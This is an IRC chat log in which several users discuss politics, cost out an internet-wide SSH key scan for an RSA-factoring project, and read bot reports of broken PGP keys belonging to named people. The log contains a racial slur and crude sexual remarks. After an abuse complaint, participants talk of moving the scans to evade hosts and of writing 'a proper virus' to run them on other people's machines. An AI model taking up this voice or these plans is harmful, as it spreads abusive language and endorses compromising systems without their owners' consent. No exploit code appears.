1470237;1463854585;mircea_popescu;turd flavourer how it may be flavoured is turd by mass. 1470238;1463854701;mircea_popescu;anyway, the trick of pretending one's own flavour of state is "merely human nature" is, i suppose, pretty effectual. also quite old, karl ziggler / friedrich carnegey did it too! 1470239;1463854768;mircea_popescu;might have been zigg marx/dale engels, i always get obscure american self-help / weight loss / aluminum siding & friendmaking authors mixed up. 1470240;1463855224;mircea_popescu;asciilifeform the trick, generally, of passing one for another is visible throughout the nigger career, whichever nigger one might pick. so kropotkin studied cooperation in nature ; which is fine, and observed that it plays a role, which is true. fuck, tmsr is pretty heavy on cooperation also. aaaaaaand then... the sleigh of hand. really, there should be no preferential distribution ? what the shit. and of course, the pious f 1470241;1463855224;mircea_popescu;raud throughout - really, unsociable species are doomed to decay ? if only we decayed as much as the scorpions did in their lengthy existence. they've stayed viable apex predators in their niche for longer than humans likely will. 1470242;1463855303;Framedragger;approx 4.2 GB of bandwidth used for 14.6k sshd-running IPs, hit rate ~= 0.02% (these are rather random, not guaranteed-to-be-used (only definitely not in reserved blocks) subnets it's possible zmap just doesn't flush to file that often at all - will check later wtf's happening). $0.155 per GB of bandwidth (first 15 GB free). running for 72 min 1470243;1463855377;mircea_popescu;;;calc 2**32 / 14600 * 0.0002 * 4.2 * 0.155 1470244;1463855378;gribble;38.3016946534 1470245;1463855386;mircea_popescu;so forty bucks gets the internet, more or less. 1470246;1463855419;Framedragger;when i was walking outside thinking of $ i got a similar figure in mind - lower bound maybe $30 and upper maybe $70, but prob $/GB rate was off in my mind 1470247;1463855421;Framedragger;so yeah 1470248;1463855428;mircea_popescu;alrightey 1470249;1463855502;*;Framedragger will one day attempt to participate in such discussion, anomism, hmm... 1470250;1463855707;Framedragger;(that zmap paper matches this estimate btw - 4.5min was it - 10gbps pipe - lessay 1GiB/s for 270sec => 270GiB; vs 2^32 / 14600 * 0.0002 * 4.2 = 247GiB) 1470251;1463855727;mircea_popescu;word 1470252;1463855912;asciilifeform;meanwhile, outside of my window, http://www.loper-os.org/pub/disapproval_cat.jpg 1470253;1463856564;mircea_popescu;ahahaha 1470254;1463856577;mircea_popescu;great cat lol 1470255;1463856584;mircea_popescu;ima bbl. 1470256;1463856628;trinque;asciilifeform │ if they don't, they fight - where's the enigma here << and then they fight, and someone wins, and someone's dominant, and whoops what happened to anarchy 1470257;1463856683;trinque;that cat is wondering when you're going to stop tapping oddly on that desk and catch a damn bird 1470258;1463856699;trinque;bet he's even brought you half-dead ones trying to teach! 1470259;1463856808;trinque;Framedragger: if you get tired of aws, there's this cheap-as-shit DC called Joe's Datacenter I've been using 1470260;1463856831;trinque;unlimited bandwidth can be had for $notmuch 1470261;1463856897;trinque;homeboy over there has even hooked me up with free KVM access as a favor 1470262;1463859118;asciilifeform;trinque: cat is wild. 1470263;1463859121;jurov;how the saying goes... early cat gets the bird 1470264;1463861212;asciilifeform;in other not-quite-nyooz, http://baesystemsai.blogspot.com/2016/04/two-bytes-to-951m.html << some dissection of the swift trojan, as seen in the old thread, http://btcbase.org/log/2016-03-12#1430996 1470265;1463861212;a111;Logged on 2016-03-12 00:40 mircea_popescu: (actually, amusingly enough, swift docs date from just about the era ada was fashionable. there was such a time - just like that time in the 90s when everyone was eager to implement linux-y things and you didn't really have to sell it at all, whole cities just switched for no reason) 1470266;1463867234;shinohai;https://twitter.com/HardBTC/status/734093829901541376 " 1470267;1463867235;shinohai;Almost there, @StartJOIN pitch almost ready, an Open Source PGP digital Key signing tool that we're after funding to add new features" 1470268;1463867325;asciilifeform;'PGP digital Key signing tool' ?? 1470269;1463867339;asciilifeform;i can almost hear the indian accent 1470270;1463867398;shinohai;lolz 1470271;1463867497;shinohai;The advent of paywalled applications, where new features can only be added with crowdfunded blockchainz 1470272;1463867795;mircea_popescu;asciilifeform speaking of anarchists, it occurs to me the comic you linked a while back is a fine example. the girl in there is an out and out anarchist. she requires, for her anarchism, the cartoonist to draw the nonsense she lives in ; or if out of meta, for someone to create all the items she uses and then stay out of her way. 1470273;1463867804;mircea_popescu;by and large, anarchism is this aspiration to absentee parents. 1470274;1463867809;asciilifeform;wai which 1470275;1463867819;mircea_popescu;some murderer for hire something 1470276;1463867831;asciilifeform;ah, 'captain estar' 1470277;1463867843;mircea_popescu;living in a thoroughly alienated world where hit targets were SO ALONE they actually were you know, a sort of crumb. 1470278;1463867854;asciilifeform;but ~all cartoon characters can only live in the paper 1470279;1463867868;asciilifeform;sorta what makes it what it is, neh? 1470280;1463867884;mircea_popescu;yes, but some are more like superman, ie, roosevelt socialist ; and some others more like national socialist. 1470281;1463867889;mircea_popescu;this is anarchist-socialist. 1470282;1463867917;asciilifeform;here is the question that itches me: 1470283;1463867930;asciilifeform;how cheap the energy before it is 'socialist herring' ? 1470284;1463867953;asciilifeform;as in http://btcbase.org/log/2016-05-21#1470228 1470285;1463867953;a111;Logged on 2016-05-21 18:14 mircea_popescu: there'd be no end and no shortage of anarchistic-flavoured socialism everwhere if "society collapsed" and there were 1mn people left and 2mn walmart warehouses stacked. 1470286;1463867974;mircea_popescu;i dun think it is a matter of energy. 1470287;1463867979;asciilifeform;how does '1m people, 2m collapsed wallmarts' differ from 'put shit in the ground and let the sun do the work' ? 1470288;1463867989;asciilifeform;or 'throw rock at deer and eat phreeee meat' 1470289;1463867996;mircea_popescu;see, here's the catch : the value of walmart today. 1470290;1463868000;asciilifeform;seems like a difference of degree 1470291;1463868002;asciilifeform;rather than kind 1470292;1463868012;mircea_popescu;after a generation of that, the value of walmart would equalize and we'd have a rehash of actual society. 1470293;1463868026;mircea_popescu;socialism is the equivalent of grain : may only exist after cataclysm. 1470294;1463868030;asciilifeform;equalize as in, spent ? 1470295;1463868037;mircea_popescu;as in "no longer socially meaningful" 1470296;1463868045;mircea_popescu;like jeans in russia. who's gonna suck your cock for a pair now? 1470297;1463868053;asciilifeform;so - spent 1470298;1463868068;mircea_popescu;in that sense, yes. not physically spent, but psychologically spent 1470299;1463868103;asciilifeform;so mircea_popescu is of ye olde 'banana makes africans stupid' school ? 1470300;1463868115;mircea_popescu;yes. 1470301;1463868117;asciilifeform;as in, 'too cheap to meter' (tm) (r) morally corroding. 1470302;1463868129;mircea_popescu;note that the higher energy output of rice vs wheat has created ... larger azn cities. that's all. 1470303;1463868134;mircea_popescu;population grows, technology does not. 1470304;1463868200;asciilifeform;iirc we actually have pretty good records of cn ~prior to rice~ 1470305;1463868214;asciilifeform;but i have nfi what is in them. 1470306;1463868215;mircea_popescu;sure. 1470307;1463868467;mircea_popescu;so to come full circle : the items of interest in (the otherwise very on point) question "how cheap energy before it is scania herring" are cheap and herring ; not energy - that is always as cheaper as it always is, slightly more expensive as newton's death approaches. 1470308;1463868479;mircea_popescu;the social notion of cheapness and the individual notion of herring however fluctuate. 1470309;1463868502;asciilifeform;elaborate plox ? 1470310;1463868577;asciilifeform;the perennial favourite example (as seen in, e.g., orlov, and elsewhere) is bacteria in agar 1470311;1463868579;mircea_popescu;the tsar impedance mismatch created communism, ie, eco-first socialism ; the ww1 shock created national-socialism, ie, "we're all equal except for those schmucks" - and perhaps noteworthy here that the nazis couldn't quite decide if they're enumerating badness or goodness or what. but the idea was, "socialism within the bubble" 1470312;1463868586;asciilifeform;and 'humans are every bit as stupid as bacteria" 1470313;1463868608;mircea_popescu;and the moore law (pars pro toto, it's really starting with steel) catastrophe created the roosevelt socialism, aka "modern democracy" / "human rights" / "peace movement" etc. 1470314;1463868659;mircea_popescu;but outside of catastrophe, socialism fares as well as wheat. birch forest is the stable solution, not fucking wheat field. 1470315;1463868672;asciilifeform;birch is terrible example 1470316;1463868679;asciilifeform;it is the closest thing to wheat among trees 1470317;1463868685;mircea_popescu;which is why the state-volcano, or state-plow or state-something is always needed 1470318;1463868686;asciilifeform;hence why ru is full of'em 1470319;1463868696;mircea_popescu;beech not birch. wtf is it called. 1470320;1463868701;*;mircea_popescu off to review botanics now 1470321;1463868715;asciilifeform;where the villages burned - there are now birches. 1470322;1463868721;asciilifeform;(in western eu - poppies) 1470323;1463868734;asciilifeform;this is a fairly broad category 1470324;1463868865;mircea_popescu;fagus. beech. 1470325;1463868870;mircea_popescu;varies with the zone, but anyway. 1470326;1463869016;asciilifeform;thing about nature is that nobody promised anyone a single equilibrium point 1470327;1463869032;asciilifeform;beech can stand for 1,001 years, or burn overnight. 1470328;1463869035;asciilifeform;if gets lucky. 1470329;1463869049;mircea_popescu;BingoBoingo http://dpaste.com/1ZY126A dunno if worth your time, but anyway. 1470330;1463869061;mircea_popescu;fucking derps using my first name. to quote, "have we fucked ?" 1470331;1463869083;mircea_popescu;asciilifeform and once it burns, blueberry move in, then birch, then beech again. 1470332;1463869100;mircea_popescu;birch seed can not grow under the shade of adult birch trees. beech seed can. that's all the difference. 1470333;1463869111;mircea_popescu;socialist spawn can't fucking live in socialist world, c'est tout. 1470334;1463869735;asciilifeform;mircea_popescu: https://geektimes.ru/post/269914 << re where 'elbrus' went. 1470335;1463869749;asciilifeform;most pertinently, 'Получается в лучших традициях Советского Союза: машина есть, цена есть, купить нельзя.' 1470336;1463869786;mircea_popescu;lol 1470337;1463869836;asciilifeform;https://geektimes.ru/post/270382 << someone actually dug up, reviewed 1470338;1463869847;mircea_popescu;well... maybe in time. 1470339;1463869864;asciilifeform;megatonnes of old-school 'seals', 'tamper' whatevrthefucks 1470340;1463873469;shinohai;https://steemit.com/girlsgonesteem-nsfw/@steempower/welcome-to-girls-gone-steem#comments <<< the logo even looks like a turd. "steem" 1470341;1463873921;asciilifeform;;;later tell mircea_popescu growing 8ball installed. it will take several days for it to exceed the size of the old 8ball tho. however, it auto-saves and resumes in case of reboot, etc. 1470342;1463873921;gribble;The operation succeeded. 1470343;1463874403;BingoBoingo; BingoBoingo http://dpaste.com/1ZY126A dunno if worth your time, but anyway. << If they wanna write the steps are available. Dun see the point of the kink exchange 1470344;1463875490;shinohai;;;isup sdf.org 1470345;1463875494;gribble;sdf.org is down 1470346;1463876775;deedbot;[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Lukas D. Jacobs ; Lukas D. Jacobs ; Lukas David Jacobs ; Lukas David Jacobs ; ' - http://phuctor.nosuchlabs.com/gpgkey/65E4BA4A1435AACB51DC0C86175C626CFA97D3E9E4299439764DEE43C97FD18D 1470347;1463876775;deedbot;[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Apple Product Security ; ' - http://phuctor.nosuchlabs.com/gpgkey/01242DCED832B429633FEE0CE9B056C695BBF80CA513619A2CA3AA895AC4735F 1470348;1463876775;deedbot;[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Piraten | Martin Letzel ; ' - http://phuctor.nosuchlabs.com/gpgkey/1CCC37C88F16286BE08BD15EF9EBAD67F10A9165B5CED6989EEE64FA7C644356 1470349;1463876775;deedbot;[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Robert L. Vaessen (MobileMe key generated with gpg) ; ' - http://phuctor.nosuchlabs.com/gpgkey/F7ED43E91BC7980A082F3EF866B2FB785952BDCB758707BCB2E0F3EBEE519145 1470350;1463877116;Framedragger;"" hah!! 1470351;1463877117;Framedragger;seems that their current key is different fwiw: https://www.apple.com/support/security/pgp/ ? 1470352;1463877226;Framedragger;http://btcbase.org/log/2016-05-21#1470259 << that's nice, thanks trinque - are they able to provide near-100mbps for their cheapo VPSs? 1470353;1463877226;a111;Logged on 2016-05-21 18:53 trinque: Framedragger: if you get tired of aws, there's this cheap-as-shit DC called Joe's Datacenter I've been using 1470354;1463877255;deedbot;[Recent Phuctorings.] Phuctored: 3 divides RSA Moduli belonging to 'FAKE: key generation test; ' - http://phuctor.nosuchlabs.com/gpgkey/0A8E8A26D309CBC4A73BD31E3D6C6AE49AB443FA58E2A9A823BAA868189AB6A5 1470355;1463877430;Framedragger;^ re. product-security@apple.com's key, or is that some broken sub-key of the master key, or somesuch? (broken 'cause of the "Modulus has mirrored low-order 32 bits !", for whatever original cause/reason) 1470356;1463877440;BingoBoingo;https://images.encyclopediadramatica.se/thumb/0/0a/LaciBra2.jpg/1024px-LaciBra2.jpg 1470357;1463878019;asciilifeform;;;later tell mircea_popescu perhaps we should only print update here when a previously-unphuctored modulus pops? who even cares when old turds break into finer rubble..? 1470358;1463878019;gribble;The operation succeeded. 1470359;1463878120;asciilifeform;http://btcbase.org/log/2016-05-22#1470355 << there was a set of entirely phony keys, built via a certain algo, by an unknown 3rd party long ago. see logz. 1470360;1463878120;a111;Logged on 2016-05-22 00:37 Framedragger: ^ re. product-security@apple.com's key, or is that some broken sub-key of the master key, or somesuch? (broken 'cause of the "Modulus has mirrored low-order 32 bits !", for whatever original cause/reason) 1470361;1463878157;Framedragger;ah ok thanks for the explanation! more logs.... :) 1470362;1463878167;Framedragger;$s test 1470363;1463878197;Framedragger;oh it doesn't do that 1470364;1463878332;asciilifeform;;;later tell phf your search box is not grep-compatible. srlsy for fucks sake i can't search for '3 divides' without getting a pile of rubbish 1470365;1463878332;gribble;The operation succeeded. 1470366;1463878388;asciilifeform;'here is a meg of lines with '3' and 'divides' in'em' is WORTHLESS 1470367;1463878415;asciilifeform;what works this way and where???! 1470368;1463878427;asciilifeform;other than shitoogle 1470369;1463879925;deedbot;[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Christian Busch ; Christian Busch (Jabber) ; ' - http://phuctor.nosuchlabs.com/gpgkey/07FA12843E0B7B875AA7899C3556B1B21140858AF13AB151E34860070003997E 1470370;1463879925;deedbot;[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Stephen Domorod III (Stephen at Domorod dot Org) ; ' - http://phuctor.nosuchlabs.com/gpgkey/CD894142C4313393598D2A7B35E2A61D9CD4C6ACC0214D508203C9CDA8A65195 1470371;1463880036;Framedragger;..hrm. zmap finished scanning sixteen /8's (so a sixteenth of ipv4 space, minus reserved blocks), but in those blocks there were two known servers running openssh which was picked up by ssh-keyscan. they weren't picked up by zmap. if the thing is unreliable then it's worthless (it still found > 95k of ssh servers though, but...) 1470372;1463880465;deedbot;[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Martin M. Stoppler ; ' - http://phuctor.nosuchlabs.com/gpgkey/41C3308E5F375899710919E1484F78A1DC042B81EDDC432F38F75D4BDA9B29FC 1470373;1463880465;deedbot;[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Charly Avital(RSA4096) ; Charly Avital (RSA-AES256) ; ' - http://phuctor.nosuchlabs.com/gpgkey/29D4AB4C1D200C86FB06AB27CA9C38448622E11D3107C3A23E06C538C85B2CD0 1470374;1463880465;deedbot;[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Luciano Buszmicz (Never forget: 2 + 2 = 5 for extremely large values of 2.) ; ' - http://phuctor.nosuchlabs.com/gpgkey/1C37B216D569982CD4D18802D703548E1A352C5E3C3F6057CEC02FFAFF9C8ABD 1470375;1463881865;BingoBoingo;;;bc,stats 1470376;1463881869;gribble;Current Blocks: 412804 | Current Difficulty: 1.9425482028344403E11 | Next Difficulty At Block: 413279 | Next Difficulty In: 475 blocks | Next Difficulty In About: 3 days, 5 hours, 33 minutes, and 3 seconds | Next Difficulty Estimate: None | Estimated Percent Change: None 1470377;1463881993;mircea_popescu;asciilifeform lovely! 1470378;1463882198;mircea_popescu;http://btcbase.org/log/2016-05-22#1470350 << old key. 1470379;1463882198;a111;Logged on 2016-05-22 00:31 Framedragger: "" hah!! 1470380;1463882248;mircea_popescu;http://btcbase.org/log/2016-05-22#1470357 << on one hand, i care ; on the other hand - there's not that much traffic from phuctor to warrant looking for ways to lower it. 1470381;1463882248;a111;Logged on 2016-05-22 00:46 asciilifeform: ;;later tell mircea_popescu perhaps we should only print update here when a previously-unphuctored modulus pops? who even cares when old turds break into finer rubble..? 1470382;1463882438;mircea_popescu;http://btcbase.org/log/2016-05-22#1470366 << no it's not worthless omaigerd. that's how i search for things. you want to search for the string use " 1470383;1463882438;a111;Logged on 2016-05-22 00:53 asciilifeform: 'here is a meg of lines with '3' and 'divides' in'em' is WORTHLESS 1470384;1463882468;mircea_popescu;http://btcbase.org/log-search?q=%223+divides%22 <<< 1470385;1463882481;mircea_popescu;and whai do you ambush lords for your failure to use the things properly! 1470386;1463882566;mircea_popescu;http://btcbase.org/log/2016-05-22#1470371 << ouch. wtf ?! why ?! 1470387;1463882566;a111;Logged on 2016-05-22 01:20 Framedragger: ..hrm. zmap finished scanning sixteen /8's (so a sixteenth of ipv4 space, minus reserved blocks), but in those blocks there were two known servers running openssh which was picked up by ssh-keyscan. they weren't picked up by zmap. if the thing is unreliable then it's worthless (it still found > 95k of ssh servers though, but...) 1470388;1463882633;mircea_popescu;and in other balls, http://66.media.tumblr.com/56de3f906afad9912c8263018cc813af/tumblr_myauw3UN731skdw0qo1_250.gif 1470389;1463882691;Framedragger;i'm now running the reliable but slower ssh-keyscan on the 95k ssh-running IPs just to get a decent sample. will later revisit wtf zmap is doing 1470390;1463882713;mircea_popescu;open source stack o' shit for the love o' christ. 1470391;1463882736;Framedragger;hum, no girl ever sucking licking my well-shaven balls :/ 1470392;1463882748;mircea_popescu;how many did you ask ? 1470393;1463882753;Framedragger;*ever liked 1470394;1463882775;Framedragger;uh, < 15 for sure, so yeah 1470395;1463882781;mircea_popescu;zmap plox. 1470396;1463882797;Framedragger;< 11 1470397;1463882817;*;Framedragger halts sad memory recollection 1470398;1463882820;mircea_popescu;in other news, there's just enough ipv4 to address every chick out there. 1470399;1463882852;Framedragger;so what you're saying is there's no ip exhaustion crisis at all! 1470400;1463882864;mircea_popescu;only for gay ppl. 1470401;1463882982;Framedragger;something something "gay ppl have to use [udp] holepunching (to get through NATs)" 1470402;1463884005;deedbot;[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Vincent Thenhart ; Vincent Thenhart ; ' - http://phuctor.nosuchlabs.com/gpgkey/3AA58F9BF28C0A4F3A8450E3194CC86A946D9B6A49E362AFCFFA950F72894DBB 1470403;1463884005;deedbot;[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Carl Christoph Leimbrock ; ' - http://phuctor.nosuchlabs.com/gpgkey/41CE4AD52DCCD849DEFF2F8EF2F59A5563DEF92184DA02E60743A44F38C9BDE4 1470404;1463884005;deedbot;[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Thomas Weitzel ; ' - http://phuctor.nosuchlabs.com/gpgkey/9B870E23ED01741E0A587BEFDC1F1988A18C079AFE2F2DA62392548B9A36A4F8 1470405;1463886006;Framedragger;mircea_popescu: asciilifeform: in regards to ssh key spidering, it's best then to produce output in the form of e,N,comment - is that right? (where comment in this case would be the ip addr) 1470406;1463886030;asciilifeform;Framedragger: yes, because this is easiest to convert later to whatever form 1470407;1463886047;asciilifeform;http://btcbase.org/log/2016-05-22#1470382 << srsly, you don't care that '3' is found in some 234323454329489858734587372586775363478 ? 1470408;1463886047;a111;Logged on 2016-05-22 02:00 mircea_popescu: http://btcbase.org/log/2016-05-22#1470366 << no it's not worthless omaigerd. that's how i search for things. you want to search for the string use " 1470409;1463886064;asciilifeform;whole-word boundaries at the very least, is sane. 1470410;1463886169;Framedragger;asciilifeform: k. fwiw conversion from openssh PEM'd format to e,N,ip is easy enough: http://wotpaste.cascadianhacker.com/pastes/65ffd4c7-1a6c-4015-9a24-3e63f90eaacc/ 1470411;1463886180;Framedragger;so that part's covered. 1470412;1463886186;asciilifeform;neat 1470413;1463886205;asciilifeform;the unfortunate bit is that i am not quite yet equipped to do anything with this. 1470414;1463886281;Framedragger;i guess i'll give the results in that format for those 95k ssh hosts (actual number of keys will be lower, i can see that some of those hosts are providing clients a nil set of encryption mechanisms, etc etc 1470415;1463886307;Framedragger;no worries - actual scanning progress will apparently be slow anyway.. 1470416;1463886399;asciilifeform;http://btcbase.org/log/2016-05-22#1470380 << it is bothering me greatly that i have nfi why any 4294967297's remained to be nailed 1470417;1463886399;a111;Logged on 2016-05-22 01:57 mircea_popescu: http://btcbase.org/log/2016-05-22#1470357 << on one hand, i care ; on the other hand - there's not that much traffic from phuctor to warrant looking for ways to lower it. 1470418;1463886418;asciilifeform;considering that we had a 10mil*p 8ball in play prior to today 1470419;1463886490;asciilifeform;http://btcbase.org/log-search?q=4294967297 1470420;1463886567;asciilifeform;( for anyone who forgot, 4294967297 == 2^32 + 1 ) 1470421;1463888744;mircea_popescu;asciilifeform well, if it gets to be too much we might start caring. in principle it should NEVEr be found mind 1470422;1463888777;asciilifeform;i want to know where the hell it was before... 1470423;1463888785;mircea_popescu;ikr ? 1470424;1463888798;mircea_popescu;Framedragger a sample sorta thing works to have what to get things going with ; but in general, just do and deliver the whole bunch 1470425;1463888833;asciilifeform;btw, what's deedbot's polling interval ? 1470426;1463888836;asciilifeform;i think it missed some 1470427;1463888838;mircea_popescu;hour iirc ? 1470428;1463888841;asciilifeform;hm 1470429;1463888870;mircea_popescu;anyway, re the mysterious reappearing 4bn : this is kinda why it's best to err on the side of verbosity a little. if it gets tedious we can cut it back later. 1470430;1463888879;mircea_popescu;you should see eulora server logs, 100+mb/day 1470431;1463888978;mircea_popescu;Framedragger iirc ssh pubkeys also include an email do they not ? 1470432;1463888990;mircea_popescu;in any case for ssh collection ip should be prepended to whatever comment's available. 1470433;1463889184;mircea_popescu;http://phuctor.nosuchlabs.com/stats << "moduli broken : 228", up 10% from last month :p 1470434;1463889301;mircea_popescu;asciilifeform how about we add a credits page, move bernstein there, also add phf for keybase spidering, jurov for github spidering, others as may be ? also theory prolly should be rewritten 1470435;1463889319;asciilifeform;yeah right now it is all in the very threadbare theory pg 1470436;1463889332;mircea_popescu;lemme write a coupla drafts. 1470437;1463889337;asciilifeform;worx 1470438;1463893583;mircea_popescu;asciilifeform http://wotpaste.cascadianhacker.com/pastes/3f58cd48-29d7-4a1d-a660-4f74e2744b52/ 1470439;1463894013;mircea_popescu;asciilifeform http://btcbase.org/log/2016-05-05#1463259 << seems it had them b4. 1470440;1463894013;a111;Logged on 2016-05-05 05:36 deedbot: [Recent Phuctorings.] Phuctored: 3600611471329672289855022328627 divides RSA Moduli belonging to 'Marcus Benjamin ; Marcus Benjamin ; ' - http://phuctor.nosuchlabs.com/gpgkey/3F884718CC1F7BBD6425044BB98EB5128654EC09BB8F8D8FFE2F4EFA26F4CC53 1470441;1463894110;mircea_popescu;also http://btcbase.org/log/2016-05-03#1461563 ; but http://btcbase.org/log-search?q=%22Phuctored%3A+109%22 apparently not all though. 1470442;1463894110;a111;Logged on 2016-05-03 00:36 deedbot: [Recent Phuctorings.] Phuctored: 625320991898048033 divides RSA Moduli belonging to 'Henry Hertz Hobbit ; Henry Hertz Hobbit ; Henry Hertz Hobbit ; Henry Hertz Hobbit ; ' - http://phuctor.nosuchlabs.com/gpgkey/63016E43A530350EC983F09A74C50EC8E87FEB92F3DEAC355BE2E64CA7985921 1470443;1463894111;mircea_popescu;weird. 1470444;1463906179;Framedragger;http://btcbase.org/log/2016-05-22#1470431 << not server keys (but ssh client keys do, yes), it would appear. my stolen and modified ssh key unpacker doesn't see any more info - only PEM'd e and N (as well as ip and type of key, e.g. "ssh-rsa") 1470445;1463906179;a111;Logged on 2016-05-22 03:49 mircea_popescu: Framedragger iirc ssh pubkeys also include an email do they not ? 1470446;1463906182;Framedragger;i'll double check though 1470447;1463906220;Framedragger;http://btcbase.org/log/2016-05-22#1470424 << right - sure 1470448;1463906220;a111;Logged on 2016-05-22 03:46 mircea_popescu: Framedragger a sample sorta thing works to have what to get things going with ; but in general, just do and deliver the whole bunch 1470449;1463910733;Framedragger;oh god damn it, apparently amazon aws is behind one of those "we protect you" things - arbor networks - these folks detect scans and filter them. fuck amazon, then 1470450;1463910864;Framedragger;(ah more like, they arbor networks' gear, but i was advised the latter may preemptively throttle / filter out scans) 1470451;1463910877;Framedragger;*they are behind 1470452;1463910945;Framedragger;"trinque: Framedragger: if you get tired of aws, there's this cheap-as-shit DC called Joe's Datacenter I've been using" << sooo :) do you know by any chance if *they* are behind any stupid gear which may filter out mass scans? 1470453;1463910967;Framedragger;(scans are via simple TCP SYNs) 1470454;1463913585;deedbot;[Recent Phuctorings.] Phuctored: 229166617 divides RSA Moduli belonging to 'Franco Visentin ; Franco Visentin ; ' - http://phuctor.nosuchlabs.com/gpgkey/0A132B46A74CB542285BF53B2BBF026C76EE1B9EDF6E26E3EDBF5E42DFC4D53C 1470455;1463917908;Framedragger;http://btcbase.org/log/2016-05-22#1470431 << hmh actually not sure now. it doesn't seem that the email addy in the ssh host's pubkey is sent to client. yet you're right in that the email addy is included (in e.g. /etc/ssh/ssh_host_rsa_key.pub). will check (ssh-keyscan explicitly doesn't give/relay it though) 1470456;1463917908;a111;Logged on 2016-05-22 03:49 mircea_popescu: Framedragger iirc ssh pubkeys also include an email do they not ? 1470457;1463919820;Framedragger;maybe asciilifeform had a point about modern stupidity re. network. i've been very joyfully scanning on three non-amazon hosts and just received first abuse complaint. need to move ops to the likes of ukraine/bulgaria, lookslike! >.< 1470458;1463919977;shinohai;lol 1470459;1463920045;Framedragger;(it came from hetzner btw where lotsa (by european folk standards anyway) 'shady' stuff runs and where quite a bit of hax0ring originates from) 1470460;1463921917;BingoBoingo;Well how do you think they knew to care? 1470461;1463926540;Framedragger;yeah, i guess that's how it goes. 1470462;1463926963;mircea_popescu;Framedragger aha. aite. 1470463;1463927027;mircea_popescu;and no, they just do not want to be useful to "us", ie, independent people, ie, http://btcbase.org/log/2016-05-19#1468530 1470464;1463927027;a111;Logged on 2016-05-19 15:03 mircea_popescu: as the maximal leverage avaialble to the individual increases, the % of things crawling out of cunts (which, recall, run perl) that may ever individuate decreases. 1470465;1463927031;mircea_popescu;it's a philosophical problem. 1470466;1463927141;mircea_popescu;see also http://trilema.com/2014/the-problem-of-enforcement/ 1470467;1463927280;mircea_popescu;Framedragger you can also tell them that we're in the process of probing the internet for sever ssh key to break them via phuctor, and as this is a tmsr problem they can get phucked - it will get done over their dead bodies. 1470468;1463927340;asciilifeform;http://btcbase.org/log/2016-05-22#1470457 <<< ahahahaha toldja 1470469;1463927340;a111;Logged on 2016-05-22 12:23 Framedragger: maybe asciilifeform had a point about modern stupidity re. network. i've been very joyfully scanning on three non-amazon hosts and just received first abuse complaint. need to move ops to the likes of ukraine/bulgaria, lookslike! >.< 1470470;1463927364;asciilifeform;unfiltered net is a thing of the past 1470471;1463927432;asciilifeform;and when you scan from orc box, you often get blackholed on ~other end~ 1470472;1463927547;mircea_popescu;the probject just suddenly acquired a new valence : it will allow us to also reject shitty hosts! move whenever one turns out shit, see what you're left with. report here, too. 1470473;1463927564;mircea_popescu;and if push comes to shove, we might as well use the method described in the original census - ie, write a proper virus for it. 1470474;1463927589;mircea_popescu;with the difference that we were looking for storage/hosting space as well, so might as well make it a p2p abstract republican implementation of aws. 1470475;1463927625;asciilifeform;http://btcbase.org/log/2016-05-22#1470454 << new, btw 1470476;1463927625;a111;Logged on 2016-05-22 10:39 deedbot: [Recent Phuctorings.] Phuctored: 229166617 divides RSA Moduli belonging to 'Franco Visentin ; Franco Visentin ; ' - http://phuctor.nosuchlabs.com/gpgkey/0A132B46A74CB542285BF53B2BBF026C76EE1B9EDF6E26E3EDBF5E42DFC4D53C 1470477;1463927633;mircea_popescu;something in the vein of what was that project called... 1470478;1463927679;mircea_popescu;http://trilema.com/open-parasitic-p2p-relay 1470479;1463927697;asciilifeform;mircea_popescu: scanning from consumer boxen takes motherfucking forever 1470480;1463927716;mircea_popescu;depends how many. 1470481;1463927717;asciilifeform;esp the typical winblowz victim's 1470482;1463927746;mircea_popescu;not like i WANT to. but if "commercial" turns out to be "shit" a la argentina, it becomes not-an-option anymore. 1470483;1463927804;mircea_popescu;asciilifeform only new to you, hanno bock ( http://trilema.com/2016/psa-hanno-bock-still-a-deceitful-shitbag/ ) had it in his list since years ago. forgot to publish it s'all. 1470484;1463927818;asciilifeform;lelz 1470485;1463927827;asciilifeform;most assuredly 1470486;1463927834;mircea_popescu;o btw, got my paste ? 1470487;1463927857;asciilifeform;still in bed, will eat it soon 1470488;1463927891;mircea_popescu;Framedragger if indeed ssh-keyscan wipes it, you'll end up having to gut the tool, and recompile it. ssh-keyscan-tmsr 1470489;1463927984;mircea_popescu;asciilifeform if you can add "current largest prime" and "download 8ball" somewhere that'd also kickass. 1470490;1463928066;asciilifeform;it isn't stored as text, and converting will eat many cycles 1470491;1463928089;mircea_popescu;to download you mean ? as binary worx imo 1470492;1463928095;asciilifeform;largest prime is not so hard tho, will add to list 1470493;1463928116;asciilifeform;mircea_popescu: it is stored in format meaningful only to my proggy 1470494;1463928131;mircea_popescu;downloadable as THAT FORMAT with explanation wtf it is, even more useful. 1470495;1463928145;asciilifeform;folks can generate their own primorial, it is quite trivial 1470496;1463928149;mircea_popescu;you gotta force the world to submit. that journey starts with the first step : show it what to submit to. 1470497;1463928167;mircea_popescu;^ i just resumed manhood. 1470498;1463928186;asciilifeform;i'd even post the code, but it may help hitler more than it helps us 1470499;1463928200;mircea_popescu;dun have to post the code, no. 1470500;1463928214;Framedragger;heheh. but YEAH, don't worry i haven't given up, formulating plan, meanwhile scanning continues because fuck 'em 1470501;1463928283;*;mircea_popescu is formulating the other plan, wherein the schmucks haven't learned ANYTHING from the bitcoin experience, will continue with uppity bullshit and we'll in short order end up having to organize bombing campaigns because idiot socialists imagine they may arrest republican folk. 1470502;1463928392;asciilifeform;they would arrest the sea and the sky if they had a jail to fit'em in. 1470503;1463928402;mircea_popescu;heh. 1470504;1463928414;Framedragger;ticket escalation process should include "organizational takeover" at some point 1470505;1463928481;mircea_popescu;not really, in the ideal. who the fuck wants to take over the role of feeding the 